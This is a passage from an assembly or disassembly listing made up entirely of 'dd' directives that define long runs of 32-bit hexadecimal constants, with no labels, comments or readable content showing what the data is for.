0F3AFBCC8h, 0FCA86250h, 84FB7C10h, 5484987Ch dd 8A900694h, 235014FFh, 9CD0AA38h, 7C0885FCh, 3ED35EFBh dd 0FC88748Eh, 1D0B3742h, 98AA2338h, 0F098CB57h, 0A3B910B1h dd 0E91047FBh, 149F0F67h, 2FFE4AA1h, 1866C4D9h, 9093802Dh dd 0B519C7FAh, 0E51C698Ch, 0BFD51C4Bh, 28BD6E45h, 3D19F534h dd 0C522C5Ah, 1806A410h, 45122032h, 88062925h, 40D6A9B0h dd 0FB421C24h, 31FA8C84h, 101ACA1Dh, 30E8FB1Ch, 0CA12FB42h dd 0F1E9F2C5h, 661DA974h, 0FFA85A16h, 9838C6DDh, 3DB07928h dd 0F5C5944Eh, 8B8F61B8h, 2B324B30h, 0EAACE3A9h, 4F1D79F0h dd 208E250h, 68140230h, 0C3BE4814h, 0A98A6856h, 0AEB64755h dd 993F1AF1h, 0FE4114DDh, 0F30578Eh, 4303D38h, 1E8D0FF9h dd 80E22BE3h, 624AEE93h dd 0FFD89B20h, 0E81C44B0h, 0EB841F4Fh, 0B8811839h, 10B88018h dd 733494E7h, 0C1DE27EAh, 354F5694h, 20CF0529h, 58682B4Bh dd 576908F0h, 1DA42376h, 0F4619B9Eh, 26AB42D2h, 64456EE4h dd 553FDB0Fh, 1D43A1C2h, 3F561517h, 1F4A11D5h, 0E48D09B8h dd 0F0F85648h, 2D2822BEh, 1D734486h, 8062F424h, 707E34F9h dd 0B2D3E699h, 0F8F010F9h, 87EC7684h, 88A11410h, 0ED7808F9h dd 0CA98C08h, 80065270h, 91E04D12h, 8D12B910h, 336C2B7Ch dd 2C08F843h, 7C7840C9h, 904287F9h, 0C2EA10F9h, 0E66B0CD3h dd 285BE049h, 0EE45D0F7h, 0CC14266Dh, 0A2A5CAEDh, 5FF590C8h dd 45CC47C8h, 0DA4CD9EEh, 0F6A0CED3h, 0FBEDC42Fh, 0C483E2E6h dd 0E0582A13h, 82328426h, 0DC0D8652h, 5B79AB19h, 0A199E2D0h dd 8B0AA8D4h, 21DD1E18h, 0C84FEED4h, 0DAB61EDh, 0D4100F41h dd 42E4E8EEh, 0C1ED10EEh, 0A84790E8h, 21FF4A7Ah, 1DD784EFh dd 1262F204h, 72867ED8h, 9D110144h, 0C9D5D988h, 0BFD21769h dd 0C8BFCEB2h, 97106AE5h, 0A5B70C90h, 2D0144BFh, 0FB9AD994h dd 0CBE60809h, 907118B6h, 8051D4Dh, 5AE09AFh, 504DE562h dd 42D99888h, 8713D704h, 4CE3FB69h, 0A98AA0B7h, 9C9E1961h dd 0E9E07EF2h, 3E870A77h, 1D1C5659h, 8D3C7B7h, 8253D984h dd 67A018D7h, 0D9213B8Dh, 84D9A4D0h, 3E91F4E8h, 611824D1h dd 0DA45875Eh, 0BFA9CB6Ch, 1ECBECB1h, 0E1CC6C11h, 0C41ACCECh dd 7438CD70h, 68101BF9h, 0A7E884CBh, 0E212212Ah, 2114CD6Ch dd 1D88CB68h, 0CD6CD056h, 0CD784287h, 0E84E1711h, 3CA7B0C4h dd 8ECF4794h, 94E3B114h, 461478ACh, 0D198B1D1h, 469C3E0Eh dd 22CF90C4h, 0E901580h, 0AD194F1h, 0C4CF9010h, 94684358h dd 0A0A1D143h, 432F08D1h, 3448A2F3h, 0C2C31823h, 233CC398h dd 98C2C418h, 6A323CC4h, 11C54920h, 23F94F10h, 0F7C5103Ch dd 0C310D8C8h, 0B2184284h, 14211E0Dh, 0A81047C3h, 3435DF62h dd 0D9C31421h, 433608C5h, 0A6E0A1F2h, 0E884120Fh, 6AA1FCB2h dd 0E97C743Fh, 959AB4A6h, 273E13D8h, 0D6016540h, 30FB9974h dd 44D912D9h, 56124432h, 2082C77Dh, 62C77629h, 6F02B2D8h dd 50F2057Fh, 231A5A25h, 36967F92h, 0E8A6B029h, 100F1F51h dd 80A1E9DCh, 21ED0CE8h, 0DCE24017h, 0E01E1DE9h, 0EBB60821h dd 15744674h, 4ED9EF5Bh, 981072CBh, 10DC8EE2h, 10ECDC4Eh dd 778FE14Fh, 8456CB4Eh, 3477E29Ch, 0FC1023E1h, 0E2A3647Dh dd 21A41F87h, 835348C5h, 15E23DB2h, 9021F79Eh, 0E10C42E2h dd 433A2918h, 563EDA41h, 0A8225ECAh, 0E17242E2h, 713BA610h dd 3FA5D812h, 9C206F28h, 0FFBC16DFh, 761F8032h, 0B468580Fh dd 0D29CA556h, 20EBE980h, 2BA86C68h, 9913761Fh, 0FBE25059h dd 0CF17B9A4h, 2AAA9328h, 0DE728410h, 0C0F85891h, 42B7A72Eh dd 74F4843Fh, 0E5241CBAh, 0FD13B54h, 0C1FCD589h, 0DB69E1F1h dd 0C025BB83h, 23746A5Ch, 488C074h, 9808E7C3h, 75A14348h dd 78270828h, 0C4BBEDA5h, 707E8F24h, 7484C342h, 705431C0h dd 0C343701Ah, 0E8E40CA3h, 423CEC48h, 85BBB5A5h, 5C0F4589h dd 92D1EA22h, 690FF998h, 11FE8832h, 198854AFh, 9F5711C8h dd 0C5E5C41Eh, 3B100170h, 6E0975C6h, 2D1AF010h, 0D2839905h dd 3B4F4F65h, 0B5F88B12h, 0BB2E9112h, 0EFCCB665h, 9D62E550h dd 27AB53D7h, 8B576782h, 5476BAD5h, 0A51809C2h, 0FC504776h dd 0CF16B1A4h, 0AD9012BFh, 47F8B490h, 8DB40886h, 84C8B9A6h dd 1C30A7B8h, 2AB9DA2Ch, 0EFB11B6Dh, 6D27B718h, 0D3103C95h dd 0DB2F6434h, 0A4F06802h, 5325E7C5h, 14D02197h, 3012CDC3h dd 0AA61FBDCh, 15A7349Dh, 3C23413Eh, 86783CDCh, 38CA8046h dd 4E116F1Dh, 4010412Fh, 0D9AC84DCh, 2AB4A823h, 73DC4813h dd 134E442Ah, 0C4C471B9h, 0CB3EF7A4h, 7042F41Eh, 1899DC2Ch dd 3E389E4Dh, 0DC432CB8h, 8DC4CA1h, 0A2E74329h, 3D774588h dd 0CB5A403Dh, 0FE5B85D3h, 10553BFEh, 0FF539A53h, 0DAC64A3Ch dd 522E7C6Ah, 3D8A7E66h, 68D598FDh, 0B6A45A30h, 1EA2D61Eh dd 94A2F94Fh, 63572615h, 2FC028E6h, 41BB147Eh, 502503BAh dd 1C68B460h, 727B95A4h, 5981E025h, 6F1ABD40h, 0B6889D1Dh dd 107CE399h, 0DF7A0887h, 40EA3AEBh, 88D3085Dh, 40327ACBh dd 746B5610h, 5AF0568Fh, 62EBB31Dh, 0E23E540Eh, 45DDA404h dd 51D4E8B0h, 8E0F0014h, 722AE7EFh, 0C0A80336h, 89F369BFh dd 767BA39Ah, 8D31DD4Bh, 2F394386h, 0D0DD427Eh, 0DE68130Fh dd 204527CEh, 0B176528Bh, 0ADB9004Dh, 2641E675h, 0C186DF6Ch dd 38DDE4B5h, 7085C2FEh, 622A59DFh, 1C73A39Ch, 0CDB30FE5h dd 28DF6884h, 11DD43E4h, 0F4A74F57h, 42743ADFh, 4BF638DFh dd 60C4EECBh, 4B7831A3h, 5654B548h, 0D4CFD5DCh, 9254F2F1h dd 8D51FB1h, 50E2DDD8h, 0DDC23BDCh, 0B734421Ch, 0DDD478C8h dd 0DCA13985h, 0D3470388h, 0BC7C3E5Ch, 0E1DD43E0h, 3B6BA2F8h dd 0D85B2FC4h, 6BE6A596h, 2F27C452h, 0B00C14B6h, 92A242B2h dd 84104A28h, 0CF0DA525h, 24939AB0h, 0E8686630h, 0B6B26BD2h dd 40F4EF1h, 7C51DCAEh, 0E1EF68E9h, 675FDC68h, 97EB140Dh dd 558A7A33h, 1FB28691h, 0AF0D9015h, 920EC812h, 9AD60C9Bh dd 0CCA2C042h, 97AC53D1h, 0CAC4B24Ch, 27597C0Ch, 0D276F33Bh dd 0C58B5615h, 2A8FA2B8h, 3EC28E4Bh, 81A1C293h, 0E28C4A0Ch dd 3456313Ch, 7799A2E6h, 8567798Ah, 623A4564h, 740C2E2Eh dd 5F1FD136h, 530D2274h, 0CEF16E56h, 80230A0Dh, 470BD763h dd 0C2856C91h, 744B080Bh, 73BB7EA5h, 3A582229h, 9F3D860Bh dd 94BD09F9h, 4B4CD131h, 0F44B5C38h, 0CA6F14B5h, 85A64F2Ch dd 0A760F95Bh, 0B17538D6h, 0BF24425Ah, 937A099h, 8B5A723Ah dd 8820471Eh, 0B0A4210h, 8C53AD0Ah, 7FF743E9h, 59D157CBh dd 1C9109CAh, 4E0ACEB1h, 4EA1B369h, 2CA2845Bh, 848B1451h dd 9369AE6Ch, 32D6EFE8h, 5025992Ah, 404C6707h, 0E464F8EFh dd 622D86A1h, 7D90923Fh, 7A2DF936h, 0F36992Eh, 24352DFBh dd 7C533FF4h, 0AFFAD388h, 1E9C432Dh, 564D2082h, 0E958F7B3h dd 5152086Dh, 21A46955h, 5EFCEA1h, 2C45FF10h, 99768C45h dd 4B903533h, 0A5A93939h, 5F9FF430h, 0C84314A5h, 0B4AD78C0h dd 4A105449h, 96A4C57h, 691B7028h, 935C0B4Ch, 48A62556h dd 176A90DEh, 38AB5035h, 0A15A300Dh, 57C959F2h, 79F51B61h dd 30F48F10h, 697A4D9h, 6317F11Ch, 0D5AF09Dh, 4D2492CBh dd 0D4C7E74Ch, 6A99BAF0h, 8AE4245h, 21F6547Ah, 1952F570h dd 3724EBAFh, 0A3F68A28h, 47C2C971h, 5C58A3AEh, 1AF614E5h dd 0D29D0D90h, 9C001253h, 6C800C37h, 681E85F5h, 26A788A1h dd 0A32E6CD1h, 19FCA2ACh, 93A2F3Dh, 77A0DC15h, 3824ABA4h dd 4EA0F3C2h, 4642BD67h, 0AE2669CCh, 0BB5174A2h, 7F6202C1h dd 0B5C488D6h, 1FE32F5Ah, 0BDF62D27h, 22F8FD6h, 56CFEB20h dd 0A54926FEh, 6C21A41Dh, 16919180h, 0EF5B8584h, 5C235A8Ch dd 0EBCB407h, 6A3A2BD4h, 0B8675850h, 8F0A068Ah, 5F69809Dh dd 0A054DA02h, 1BCA4D25h, 0A63AFD75h, 7411D2C2h, 6CC1057h dd 0B9AFD8F4h, 858A0649h, 25AE5E77h, 0E338492h, 3BFC0548h dd 13AD2EDBh, 16D17876h, 363CDF7Ch, 0E8F675A5h, 1D12CA30h dd 8B4BFC11h, 0E02F441Eh, 0F9FA459Eh, 997896D0h, 0E182E717h dd 37EFD954h, 0E813A68Bh, 2F42DF9Fh, 21A61C1Ch, 7842E0FCh dd 0B30218DFh, 0E0FC088Dh dd 0E1082174h, 74DBA408h, 599FA825h, 1F5C7852h, 0B5CC5348h dd 0F3171EE9h, 84DFEC6Bh, 25B69F90h, 89E96A2Ch, 0B675E2B4h dd 21C865BAh, 96CEBF57h, 0AC85EF42h, 60CEBFE2h, 0B7E3CC12h dd 62FC88E3h, 134EE454h, 26135868h, 52245045h, 6CC595ADh dd 0FEDBEA9Fh, 0A1E4D0DEh, 0C10CE2ACh, 50846146h, 400E2EE4h dd 1030FF92h, 4884E45Ch, 4B1B9AF1h, 31883D82h, 50D0411Ch dd 0C4B33B9Fh, 2F9A82B1h, 23893A3Dh, 10C6ED2Eh, 168F2280h dd 85CE2EFh, 77C63B09h, 9F2C7A22h, 0FC580229h, 0D8AFD19Eh dd 0E985DA10h, 5C625C73h, 4BCB8922h, 3DB3B442h, 25098C10h dd 0CB54D818h, 0CA040ABAh, 0CA65A99Eh, 75C90AACh, 43BDF896h dd 74AD025Eh, 8D026A31h, 40C0AAFh, 8C4A15BEh, 74CF47AEh dd 0CA30F437h, 9E8C1272h, 43400CCEh, 165889FEh, 8B10134Fh dd 6B7AB840h, 2C37358h, 6468CBEBh, 0F5746890h, 9489E398h dd 94F1321Ch, 1940292Ah, 6A867E02h, 56AFA905h, 575F2DEh dd 0AB2C200Fh, 0B9D47FCh, 7FA2078Ah, 0BE0FAF23h, 0D8B281C4h dd 8E2D7F9Dh, 16C4093Dh, 0D6762A03h, 9C7DFB25h, 8AABB614h dd 0C861D2A6h, 4E4BB178h, 0FF8BF90Eh, 4EE7E331h, 4FB4A825h dd 7828563Bh, 2F68FA24h, 1FF401F4h, 9D5625E8h, 752BF46Ch dd 24641CF0h, 35B6B432h, 985089F8h, 5434E819h, 2B37A82Dh dd 0F6988812h, 6EFEA7DFh, 1E9DD4C2h, 0F61E7525h, 2D854A5Ch dd 0AC2185FAh, 3F628F9Dh, 410A844Ah, 7F8B8F2Fh, 8D075AA2h dd 73830178h, 1CA20F20h, 8484CBAFh, 2B07F5BDh, 7DCACC7h dd 99419E30h, 32562F05h, 0A4089C98h, 974A25F5h, 9D609540h dd 9D347786h, 775AA0EDh, 0D03146CDh, 80504704h, 9D8D7259h dd 0E6A573DBh, 51C3B954h, 0C2DBF24Bh, 237734ADh, 0FDA09D1Ch dd 981C4C56h, 0B69CFC22h, 6D99EB93h, 88F77E57h, 9CDC22D8h dd 78233FAEh, 29B8E4CDh, 925EE63Ah, 9B9262DDh, 0A559E79Ch dd 3313CFA6h, 0A22BAFC0h, 70884442h, 621CB6FCh, 0EC75B4EBh dd 69A49F51h, 950F4510h, 5FF1CAEEh, 50B4A6FCh, 0E99F15D1h dd 173052CCh, 0D6BE9C4Ch, 0E12AC6CAh, 519F9886h, 0AE756535h dd 0B51706C3h, 11FED4CDh, 6CFFF20Bh, 6C1CB403h, 0D448BA71h dd 4FED4C8Dh, 5315B1ACh, 577C0E46h, 166CBE48h, 8B2428DAh dd 901332F8h, 20A2F0E8h, 0B68CB22Fh, 7A79BF57h, 0B49C2042h dd 17145697h, 799BF412h, 0C8D6417Ah, 4B130C9Bh, 5CF2B0EEh dd 0B086917Ch, 0A743C444h, 4FDACC13h, 810E3899h, 39608C7Dh dd 67E25772h, 2F9BA084h, 5F5274C8h, 489DE1E4h, 601584FEh dd 1F385688h, 0D1AA1375h, 0E75FCF1Ah, 52D464EFh, 1EFFAD12h dd 20AFFAECh, 7FC111DEh, 0CB725650h, 0F32CBF93h, 0F49B4254h dd 8A349028h, 4F2C8EBAh, 682B1846h, 62CAA424h, 64109114h dd 106C1430h, 0D857F1BFh, 84143D89h, 84D14CB8h, 0F5AA6A0Dh dd 102C136h, 0DC72458Dh, 82FE5370h, 0BB82284Ah, 1014729Ch dd 136A8E17h, 20B69FFCh, 70835495h, 46A4C3C9h, 25830440h dd 3B70147Dh, 0E9E59BFh, 0D4EF0575h, 0E45E51Dh, 0FABE0C05h dd 0F02B9991h, 10B94449h, 0EBFC8DE4h, 0CCB48F31h, 9F9FA33Ah dd 8C2118E9h, 0C8FC02C9h, 766D75CDh, 7F28D23h, 5F001882h dd 950B745Eh, 55A6E56h, 0A10653A0h, 0B615A42Dh, 0D6B40859h dd 0E6D5FF0Fh, 901FC435h, 0DB332F8Ah, 0FD92DDD4h, 0A468AE46h dd 0EB3C9033h, 84188E1h, 97B280A3h, 0F418781Bh, 0CFD86B9h dd 58438CD8h, 0C8B8E810h, 62946444h, 18C4192Ch, 3C52861Ch dd 94102134h, 0F8845B34h, 919022D5h, 0F40CDC0Dh, 1D3934A8h dd 0DCEB7DA3h, 44741B10h, 3CE17D41h, 88D81090h, 0F0732034h dd 0C410C82Ch, 5C102444h, 101C6878h, 14323C57h, 0C119010h dd 4D1EC5E3h, 0AEC0413h, 5C70A06h, 94BC2994h, 0D5C46885h dd 282CE536h, 13270CA3h, 2016A1Ch, 15EBD07Fh, 0A38DA4D1h dd 2D0B2998h, 34C9B822h, 93291AC0h, 22018227h, 9C31D5A8h dd 0AC30B24Ch, 2B9043BFh, 8015E6E0h, 1074230Dh, 2784CA70h dd 0A4325C44h, 0C432AC33h, 280C3C31h, 0FBB8286h, 0F014AA56h dd 0CF88E0E7h, 8408239Eh, 0B9A4C2BAh, 30E2C431h, 1087BA28h dd 3228A29Ch, 94608788h, 0C886DA0h, 0A198A864h, 21D442F8h dd 1F8AB470h, 52585422h, 44D92120h, 10A019A5h, 54649F1Dh dd 0BEB1712h, 1AA02A72h, 0D4E86738h, 26A95599h, 0D884A890h dd 0A5C862D4h, 0FF62445Eh, 880DA2B8h, 0CA419B9h, 94438CF8h dd 4392AC75h, 0A4382188h, 460D2281h, 57867EB0h, 4411AC54h dd 106421BAh, 8882828h, 84F82040h, 4C071841h, 83101086h dd 4108C347h, 1A484210h, 541585A4h, 653CC8A2h, 246122B8h dd 0B81C9019h, 6E4012F1h, 87907D4Fh, 14914523h, 0C86404C8h dd 8D3F461h, 55CDACB0h, 31F20DE4h, 0A41C0CD4h, 29C04327h dd 0AC100D20h, 4427CCCAh, 0B9943290h, 0BC08C886h, 8F0DB84Dh dd 0FC9F11B0h, 0B91C1146h, 0CCE22088h, 4E9431B8h, 0D38084AEh dd 0B435FDCAh, 0A8CE3C4Fh, 45288E86h, 28CE4A74h, 49E311BBh dd 32344439h, 0EA1BC099h, 180DA240h, 0C3019BAh, 1C438C20h dd 0E86DDC26h, 0DAF8950Dh, 0A4640488h, 84D27ADCh, 2A341C52h dd 905D0DE8h, 0B9C0C401h, 20B1304Eh, 0BA182249h, 0A3204140h dd 5910FC08h, 10316878h, 292C3C54h, 0AF4DBC09h, 61BA1C84h dd 0C80AB890h, 71AC64B0h, 0D4622D8Bh, 0D2297458h, 2A5C2E7h dd 31D2D022h, 448C4CC4h, 0B454C0ACh, 0A6AC780Dh, 0E421A443h dd 0D98AABEh, 8821C046h, 88348094h, 0DF46E7Ch, 2C647488h dd 5462E867h, 0C6019BAh, 54438C70h, 0C8B97C10h, 0BA606248h dd 140C4019h, 1038438Ch, 30C8B9D4h, 2862D064h, 94180419h dd 0FC2BB242h, 0CA20109Ch, 18444124h, 0D913832h, 0ABEC0C0Ch dd 51ACBB34h, 45CA20Fh, 70D142FCh, 0F45427A4h, 5BA4BC0Dh dd 8486EC7Dh, 77E0430Dh, 0D44327A4h, 0C810B423h, 0B8C478C8h dd 0D91E832h, 43580CA8h, 889C21BAh, 9064B98Ch, 0E0C52832h dd 0F66D453Ch, 41119F50h, 78229501h, 8805210Ch, 0F947B8E4h dd 0B9804208h, 680CED11h, 21E14386h, 0CAD5902Ch, 0C9953C54h dd 9070210Ch, 247CCABDh, 60C8B190h, 1432A564h, 0D40C9919h dd 2A8D4386h, 81430CD0h, 74310422h, 0BA241079h, 38047112h dd 0EC026922h, 86124B9h, 1C5944ACh, 5120BA11h, 0CFD1BC4Dh dd 688811FCh, 7873B4E4h, 0C4E863C4h, 8C385862h, 0B86485B9h dd 6838B432h, 0CBD14C84h, 5C84F4E3h, 4C8FD151h, 0C5108810h dd 980D4438h, 182432B8h, 4386B99Ch, 38482310h, 8A82343h dd 6C44D0ECh, 0B51BD862h, 0AEC44122h, 0B088B10Dh, 0BF9DE065h dd 0D8B7001h, 8A33541h, 8040C448h, 3889B898h, 0F07110A0h dd 4810C930h, 0A843B84Ch, 21CB3B17h, 18B8D8C5h, 0E0788ED0h dd 0D8BC1187h, 0D2533155h, 0E5E21803h, 0CCBAD1FFh, 4EB98422h dd 0C0C4281Dh, 282F8C86h, 981F1D89h, 20D0489Eh, 0F53D74A1h dd 1C4CF678h, 5CB44CF3h, 0DC8CF9Eh, 81988C93h, 0ECB9445Ch dd 8CC2FF96h, 0C89015BAh, 4850C4C8h, 0F61487D0h, 633C2911h dd 0C8CB3090h, 0D24873Ah, 190C62A0h, 0F87D4818h, 0A47BCF42h dd 10E8430Dh, 0DCC8BA64h, 881A146Eh, 9DAC64D0h, 9C0D127Fh dd 340CB431h, 9C4327A4h, 10412C29h, 6EE4C98Ch, 8B8444Ch dd 45D12FBh, 55522A0h, 4D100818h, 343C8021h, 7B141045h dd 76106827h, 1035343Ch dd 2D1A711Eh, 0D6C0F10h, 67071025h, 910DA8Fh, 0FAE35F62h dd 4D68BA4Ah, 0CC4286D0h, 29CF8084h, 0DFDFEF47h, 48C51864h dd 0B8F09631h, 0CC11E219h, 0D8E2E532h, 290AD419h, 51CE4A38h dd 506214C8h, 88C733BAh, 6485FDBDh, 14DC32E0h, 528F0C43h dd 8FCE91BDh, 7C8810E4h, 0DCCAA6Fh, 0B4887491h, 64323C65h dd 670C117Ch, 528E74A3h, 0E8A2743Ch, 140AE419h, 0F2BECEA8h dd 88749998h, 9E93400Ch, 488978BCh, 0F0884A4Ah, 7C28EC64h dd 0FDFD3D87h, 5686581Ch, 4821B110h, 32D95C92h, 0B9980D11h dd 4686280Ch, 94182150h, 78DB7EF0h, 8B60FD2Eh, 0C4D85CE7h dd 0C4507398h, 1017F062h, 51F4C8F8h, 11E85A08h, 0D48FCDF0h dd 0EF248810h, 5C048810h, 4784BBE0h, 42EA4AFCh, 0C35B5D48h dd 5351A254h, 560CF1E7h, 357E0B2Bh, 0F457A1C9h, 741F107Dh dd 2B2FFF2Ch, 1203E6B3h, 0E8D83468h, 1216E476h, 752B45FBh dd 0B428EA08h, 739C5135h, 0E2A06990h, 0A444151Ch, 0E11CA872h dd 39ACA20Ah, 0E8110EB0h, 8EB4FCD7h, 0D088B843h, 0C8BC1155h dd 0AB471C0h, 0C8E448A7h, 51859C38h, 87D01CCCh, 23AA8010h dd 0E7D890D4h, 0DC115518h, 0CC73E0C8h, 0E4E4882Ah, 853438E8h dd 0F01CEC51h, 0AA181087h, 0F890F423h, 115508E7h, 0BB10DCFCh dd 1ED6E4B1h, 61DE26D0h, 14753960h, 15D1E359h, 14882D4Bh dd 0C9BCFCCBh, 0F073EB5Dh, 0B5042474h, 75299494h, 58110F19h dd 0ABBFC75Bh, 0C303855Fh, 49B64ACh, 200D1025h, 85C03374h dd 2740BC9h, 6331D1FFh, 5622C288h, 5B77C057h, 0F845128Dh dd 4CE9A933h, 7D891E6Ch, 0FC5D9BB9h, 8B41E488h, 7FCF2BC8h dd 4D864DB1h, 1232E983h, 480C8743h, 6E0A2374h, 24BD17EAh dd 6807FF27h, 17591BD8h, 6347EBC2h, 5F217790h, 2980C632h dd 11B5AE30h, 5B57F08Bh, 10CAD856h, 74F73B0Dh, 0D494D912h dd 3B836256h, 0EB9874C7h, 846868B5h, 452F4F69h, 200EA118h dd 0EDFC578Dh, 5BAA4240h, 61D3C491h, 405468F7h, 3E39CC66h dd 8DE67605h, 0BB8045Eh, 479B4C30h, 1801C383h, 0F1723E3Bh dd 0DE57D2EBh, 561445CEh, 640CD6ABh, 0E9A7A983h, 0BF006577h dd 0CC4B1252h, 0DCB4783Fh, 0F39FB69Fh, 0BB04BE85h, 59F20A4Fh dd 0F008F10Bh, 0D9B5619Dh, 0DB40113Ah, 0C68B18C1h, 76F0BF5Eh dd 0E39D6190h, 1FEF8D4h, 0E1D7B7Eh, 0E9D157CEh, 0DAF7C3BCh dd 2E20348Dh, 0B70F0354h, 42C7033Ah, 0F6754988h, 4EB5F18h dd 0F2850823h, 574305Eh, 0C1030A94h, 255E4990h, 0E9E0BDA5h dd 0E7EBF910h, 0EE8EDEFh, 0CBD0F7ECh, 5BDE579Ah, 8FD0B756h dd 44048F38h, 0A47C608Bh, 9C9534FFh, 2E7483AAh, 571C6A41h dd 152F253Bh, 694847A2h, 80C09827h, 33A8267Eh, 0E4BD0A6Ah dd 0FE19582h, 49274AB8h, 3B46152Dh, 0DA7C0426h, 3484C78Bh dd 0BD976D6Dh, 0ED05BF10h, 5E2B9138h, 0CC9D53B2h, 8B036A00h dd 0D214245Ch, 825A1B7Eh, 54EDF2D3h, 7E121430h, 2BCBFB16h dd 2A00EE4Bh, 3B471F14h, 0EA7C3DFEh, 127024BCh, 0FEC38B5Fh dd 0E251A7C8h, 0FC653883h, 0C7C7AA64h, 0AB01052Ch, 5926B29Bh dd 0F4BE8340h, 0C8844315h, 2FCFC844h, 0F05CA0Fh, 0D8416A0Bh dd 3B5A0017h, 890375C1h, 83F8FC55h, 7C5BF901h, 59616AF3h dd 7B20104Ah, 87D8B0Ah, 0CD1EA56h, 0F9ECE41Ah, 0C5C0A92h dd 9406FAF0h, 0CDF97EF4h, 8227007h, 0CC45AEA4h, 0BE2DDBB4h dd 529C4B10h, 984FAA5Fh, 2AE1946Eh, 0B56C27C8h, 64F5D112h dd 0DC7553Bh, 45E81806h, 2D941AD0h, 5CB0E483h, 47324B04h dd 1E2E7414h, 7C121E59h, 0C0F50112h, 82162078h, 0F9020E11h dd 111CF963h, 27485CEBh, 7750A0Ah, 111018BEh, 755A804Ch dd 8414BE3Eh, 0A513C52h, 502E7505h, 841052CCh, 1322346h dd 13110C21h, 8FC0218h, 0D8B21DDEh, 427A2A04h, 0A45FC68h dd 1C7FA07Eh, 0E051BD56h, 265C024Eh, 0E0820905h, 67853068h dd 649A80F0h, 3ACB2B76h, 0D1AF1E0h, 7292CB8h, 2B1279EEh dd 24682E40h, 34931DD4h, 39FEB8E4h, 0DA2B0BA3h, 0A188C54Bh dd 77E0270Bh, 20DF883h, 7A1F765Eh, 0BB5B25ADh, 4EC0BB0Ah dd 5A047449h, 0EE4525C1h, 1F42A39Ah, 5789F542h, 1E51BC8Bh dd 8D157401h, 4DBDF446h, 86D9ED5Bh, 59C1B59h, 8B0AEB40h dd 3B49C10Eh, 9437704Dh, 75FE9FFDh, 14C68300h, 61FE8147h dd 0CB7267A8h, 0A70EFBEBh, 0C3BF048Dh, 62208514h, 107DF623h dd 4649E1D4h, 0E19D060Ah, 0D3C35D59h, 221636EBh, 17534DB8h dd 0BF914821h, 916A639Fh, 4244C11h, 755B0662h, 504C1846h dd 3158A20Dh, 19FA19BFh, 5B18FA62h, 279D5139h, 94F9D347h dd 0BF18FF0Ch, 0A24C1085h, 0ABF3150h, 0BF105023h, 0F21350A2h dd 80BA1B84h, 0B5BB8D24h, 2D246F0Dh, 0D27FE2BAh, 457C3D08h dd 4C1E317Bh, 28C83798h, 74401EE0h, 5D478478h, 8FFD743Eh dd 3F887010h, 212A6CE4h, 0C8211168h, 60BE7064h, 487D19D0h dd 9A5C22A5h, 4D8306AFh, 0A50FFFCh, 8DFF875h, 7C69DD3Ch dd 689D2E96h, 0DF6A3BB2h, 0FC4C1CEh, 20AEE3BCh, 0C33B145Ch dd 3C157D32h, 0E83BA34Ch, 0DF340953h, 0ADD40112h, 8024EB89h dd 0D7D642Ch, 284D668Dh, 0C6202A51h, 0BED8B7B2h, 21264857h dd 7C0C97B9h, 535DDC40h, 9059E63Fh, 832FD6B3h, 0C82208F6h dd 4F3B9B38h, 6125C871h, 67CB8B99h, 12DBA23Ah, 564F3558h dd 66AF1E12h, 0EE97128Eh, 84F6C2ABh, 2A6BC146h, 78515EC2h dd 923EE62Dh, 1CA10566h, 0AA0C453Bh, 13E92D10h, 0A8090476h dd 0D6E244C9h, 29DAE632h, 0BCBB3D14h, 85D80F8h, 448DED6Ah dd 0A3120A37h, 8FE1171Ch, 3D0A0147h, 44F8BE08h, 6A025835h dd 68C72B74h, 53BDA1B8h, 21B14BA3h, 4720BD6Bh, 0BB74F5D6h dd 901AD966h, 146AF8F7h, 342C6805h, 131E0415h, 14D7058Ch dd 30210AEh, 68106AF7h, 31229E31h, 104A44C4h, 5121B457h dd 0A0382573h, 4B4168F3h, 6A20F317h, 1865A222h, 82B24A7h dd 0DCD622FBh, 98A2095Fh, 4BEF8028h, 8E5060C3h, 0E6E91461h dd 0F2F4168Eh, 3D0777C2h, 0F684AC72h, 5645EB15h, 56C621Ah dd 79B0D701h, 708AB5AEh, 195353D2h, 20A6606Ah, 0E3C6909h dd 3E35BBD7h, 1948B392h, 58B0264Eh, 0B7C2448h, 275B5F5Eh dd 4A04CB0h, 875C984h, 0FFB84101h, 81C13B8Bh, 2E08303h dd 315A9CFh, 507746EAh, 330A8480h, 0D0D1274h, 5C270CB2h dd 35306C4h, 45FF0356h, 45BE56E1h, 7616A032h, 0F8D41D51h dd 833E8C1h, 0A60C543Ch, 4C10DB50h, 0A5B0A64Bh, 0C92CD281h dd 0DB44A124h, 0B62AC5A1h, 0CA3BC785h, 0A30065A2h, 144D8BB7h dd 1D278A53h, 33E68218h, 804A54D2h, 1C76C985h, 3A19048Ah dd 0A9BC332h, 0A20C0D12h, 60FEE875h, 3B423EC3h, 0E47472D1h dd 2E88CE2Ah, 6A227702h, 4AA06815h, 88DC21C2h, 13B3AD0Dh dd 9DFCB130h, 8DD22ECBh, 0A05AC315h, 0A4886817h, 89660A22h dd 9123960Dh, 8217A29Bh, 84395984h, 37C276A6h, 34D7E055h dd 0C8A0311h, 88CB3238h, 404006A9h, 0F27214ABh, 21A2A992h dd 32E2D9E2h, 808E10FDh, 2529B838h, 0C172050Fh, 5D3D4727h dd 0EE7CB300h, 50904BEBh, 74A8F74Fh, 9275ACD3h, 868DBE21h dd 0C9C858A6h, 4406FC76h, 64CF1C24h, 1EE92689h, 0D14A64Dh dd 0C82978C3h, 304C1816h, 0F580891Ch, 0B25E0828h, 9138B90Ch dd 22FE4B98h, 621B2638h, 0A5F302B6h, 0C764C48Fh, 7B3AA580h dd 6C2F2EB3h, 0BDB89FE4h dd 2A1FB551h, 3177E6D3h, 0A611EC1Eh, 6A6164D6h, 0D445ACB2h dd 292A6621h, 569FA7B2h, 892969C9h, 0BC67112Bh, 0DF110825h dd 3C093E64h, 9751668h, 46CBEECh, 0D72D1265h, 2A06996Ah dd 4A7B7B9h, 81022FEh, 81247048h, 0DD1CC648h, 1D32FED2h dd 2D1472B0h, 98A15553h, 0C8DB3310h, 0F31A3BEDh, 0FC36797Eh dd 717D8998h, 84D73332h, 44BAB6BAh, 0BABE8D1Ah, 1839392Ch dd 0C403741Fh, 91EF895Dh, 2A78182Ah, 4406109Eh, 75A8B14h dd 0EC92CFA8h, 2221D069h, 0E788401Ch, 422806A1h, 185D3742h dd 50B68D99h, 0FC1F3520h, 0F410A436h, 8B5F121Eh, 2FBEE5C5h dd 0EE4321F9h, 84E5F8D2h, 8BA4F5A4h, 0BE435701h, 0F145E08Bh dd 0EA95FA7h, 0F00C9805h, 